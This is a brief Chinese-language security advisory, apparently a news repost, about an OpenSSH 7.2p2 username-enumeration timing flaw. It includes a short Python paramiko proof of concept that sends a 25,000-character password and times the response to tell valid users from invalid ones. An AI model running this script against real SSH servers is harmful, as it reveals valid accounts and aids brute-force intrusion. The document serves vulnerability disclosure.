该漏洞在opensshd-7.2p2 中被发现,但是安全人员指出,该漏洞应该在更早的版本中已经存在。
漏洞描述如下:
当我们使用ssh客户端去连接服务端的时候,如果向服务端发送一个大于10KB的密码,由于OpenSSH服务端会对user:password的组合,使用加密算法SHA256/SHA512进行加密。
如果我们传输的是一个不存在的用户名,那么就不会进入sha256(user,password)加密流程,如果用户名存在,服务器将会针对这个10KB大的密码进行SHA256的加密,这里就会产生时间差。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
Sample code: ---------------- import paramiko import time user=raw_input( "user: " ) p= 'A' * 25000 ssh = paramiko.SSHClient() starttime=time.clock() ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) try : ssh.connect( '127.0.0.1' , username=user, password=p) except: endtime=time.clock() total=endtime-starttime print(total) (Valid users will result in higher total time). |
关于该漏洞更多详情,可以在这里查看:
http://seclists.org/fulldisclosure/2016/Jul/51
时间:2016-07-18 21:14
来源:开源中国社区
作者:oschina
原文链接